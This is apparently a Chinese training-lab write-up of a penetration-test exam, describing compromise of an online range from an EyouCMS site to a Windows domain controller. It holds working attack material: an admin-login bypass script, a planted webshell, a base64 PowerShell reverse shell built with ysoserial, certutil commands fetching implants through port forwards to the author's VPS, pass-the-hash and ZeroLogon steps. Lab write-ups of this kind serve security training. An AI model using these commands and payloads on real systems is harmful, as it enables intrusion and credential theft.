​暗月渗透测试十月份考核文章第一篇
2022-10-12 13:40:54 Author: moonsec(查看原文) 阅读量:113 收藏

暗月渗透测试十月份考核文章第一篇

0考核介绍

本次考核最终通过人数七人 达到预期目标

考核内容 

本次考核使用在线靶靶场,主要考核从外网打点到内网域渗透的能力。

  • web:php代码审计 、java反序列化漏洞利用等。

  • 内网:隧道应用、横向渗透、域渗透等 。

难度 中

拓扑图:

1一、Get Webshell

1、信息收集

首先打开网站http://216.224.123.190/

从网站底部可以知道用的是EyouCms

知道网站指纹后,网上去搜索是否开源,以及爆出过的历史漏洞

2、登录后台

找了一些文章后,做了一些尝试,最后还是发现一个绕过后台登录进入后台的文章比较靠谱

文章:https://www.cnblogs.com/Pan3a/p/14880225.html

利用exp

from time import timeimport requests

class eyoucms_login: def __init__(self, url): self.url = url self.req = requests.session() self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name=' self.header = { 'x-requested-with': 'XMLHttpRequest' }
def get_admin_id(self): res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header) print('admin_id:' + res.text) print(res.headers['Set-Cookie'])
def get_admin_login_expire(self): while True: res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header) result = self.login_test() if result == 'ok': print('login success') break

def get_admin_info_role_id(self): while True: res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header) if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']: pass else: print('admin_info.role_id:', res.text) break
def login_test(self): res = self.req.get(self.url + 'login.php') if '管理系统' in res.text: return 'ok'
def run(self): self.get_admin_id() self.get_admin_info_role_id() self.get_admin_login_expire()

if __name__ == '__main__': url = 'http://216.224.123.190/' test = eyoucms_login(url) test.run()

脚本运行完毕,将得到PHPSESSION作为请求包Cookie中的PHPSESSION进行发送进入后台

而后刷新页面成功进入后台

3、GetShell

参考文章:https://www.zilyun.com/31010.html

漏洞存在于 更多功能中的模板管理中

修改template/pc/index.htm模板,将一句话木马写入

在文件末尾写入代码,当访问主页时就会触发改代码,将一句话内容写入到/uploads/allimg/2022buffer.php

确认提交后访问一下主页后,再去访问webshell页面

2二、内网信息收集,Java反序列化攻击Data服务器

用蚁剑连接上Webshell后尝试执行命令,命令可以执行成功

查看当前用户权限

在目录C:/Users/Administrator/user.txt下轻松拿到第一个flag

mooonsec_flag{moonsec-6d4db5ff0c117864a02827bad3c361b9}

上传CS马上线到CS后继续操作

CS自带mimikatz抓取账号Hash明文

丢到somd5网站上尝试破解,可以破解出来,但用不上

arp -a 查看通信,发现与192.168.22.146建立过通信

探测目标192.168.22.146端口开放情况,这里扫了全端口,实际不建议这么干

起初针对139445598547001端口做了许多攻击尝试,攻击无果后最终盯上了9999端口

通过netstat-nt也是能看到本机与目标9999端口建立连接

一开始看到桌面上有个QQClient.jar感觉有点可能也没太在意,最后没辙了转变思路来看看这个jar包,和桌面写着账号密码的txt文件

jar下载本地,也不反编译了,直接用idea打开里边的字节码文件

其中一个类里就与目标9999端口建立了socket连接

那么猜测目标服务端就对接收的数据进行反序列化了,该项目源码在github上也找的到

源码:https://github.com/Carson-NNY/QQ-Simulation

server端的代码接收数据并进行反序列化,跟一开始的猜想也对上了

接下来就猜测目标的jdk版本及依赖环境,初步列出了urldns8u20cc1cc6利用链

本来想用urldns测试是否能够反序列化成功,结果一直没响应,顾推测目标不出网

不出网就需要22.152Web这台机子起监听,利用powershell反弹上来

最后经过尝试得到了CC6利用链

利用su18师傅写的反序列化工具得到序列化数据,写入到文件当中

工具地址:https://github.com/su18/ysoserial

shell在线生成网址:https://shell.nctry.com/

其中base64内容就是反弹shell至某个端口,这里是反弹至22.152Web服务器的4788端口

java -jar "C:\Users\12593\Desktop\ysuserial-0.9-su18-all.jar" -g CommonsCollections6 -p "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAuADEANQAyACIALAA0ADcAOAA4ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" > C:\Users\12593\Desktop\cc66.ser

cc66.ser文件上传至22.152Web,并上传nc工具

先用msf上线22.152Web后起个nc监听用来接收反弹shell

然后CScc66.ser数据发送到目标22.146Data9999端口

shell type C:\Windows\Temp\cc66.ser | C:\Windows\Temp\nc -nv 192.168.22.1469999

发送成功后,成功上线

查看ip,存在两张网卡

现在将该22.146data上线至CS,需要拿22.152Web作转发

22.152 Web会话上新建一个转发监听器

并以该监听器生成一个.exe程序,上传至我的vps

22.152Web 4455端口转发至我的vps4455端口,并在vps起个http服务用于让22.146data下载.exe

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455

22.152data远程下载buffad.exe至本地

certutil -urlcache -split -f http://192.168.22.146:4455/buffad.exeC:\Windows\Temp\buffad.exe

VPS也是成功接收到了请求

而后执行下载的.exe程序上线到CS

成功上线到CS

权限为system

c:\users\administrator\user.txt拿到第二个flag

3三、CVE-2020-1472-ZeroLogon攻击域控

抓取明文Hash,只有本地用户的,没有域管的

破解出来密码是 QWEasd12300

定位域控

用当前用户密码尝试横向无果,直接使用CVE进行攻击,CVE-2020-1472-ZeroLogon

CS22.146data会话上做个socks代理,以便本地可以直接访问到10.10.10.137域控

检测发现存在该漏洞

利用exp将域控密码置为空

继续用脚本获取域控Hash

获取到hash后,利用wmiexec.py登录,获取shell

proxychains python3 wmiexec.py -hashesaad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752dadministrator@10.10.10.137

然后继续将该域控上线至CS,以10.10.10.136data做转发

192.168.22.146data 4488端口转发至192.168.22.152web 4488端口,继续转发至我的VPS

//192.168.22.146 data 进行操作netsh interface portproxy add v4tov4 listenport=4488 connectaddress=192.168.22.152 connectport=4488//192.168.22.152 Web 进行操作netsh interface portproxy add v4tov4 listenport=4488 connectaddress=1.xxx.xxx.40 connectport=4488ffad.exe

将生成的CS马上传vps,在域控上进行下载

22.146data 另一张网卡为10.10.10.136,域控需要在这个ip段通信

certutil -urlcache -split -f http://10.10.10.136:4488/buffad2.exeC:\Windows\Temp\buffad2.exe

vps上也成功收到请求

运行C:\Windows\Temp\buffad2.exe进行上线

c:\users\administrator\user.txt拿到最后一个flag

最终整个拓扑

最后记得将域控的hash恢复

导出sam文件到本地

reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.savedel /f system.savedel /f sam.savedel /f security.saveexit

本地使用secretsdump.py获取hash

使用reinstall_original_pw.py将域控的hash恢复

proxychains python3 reinstall_original_pw.py ad 10.10.10.13714520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76

最后,感谢月师傅对靶场的精心搭建与维护

4关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

5关于培训

需要渗透测试培训

扫一扫添加微信咨询

课程内容点击了解

暗月渗透测试课程更新


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653583679&idx=1&sn=762cf7e85acb3318359c84dc5f6a1d2d&chksm=811b6f7db66ce66b0bf3aa74a2546e2b5a86760bb187e449ff69f8f10e253c12930e4495b960#rd
如有侵权请联系:admin#unsafe.sh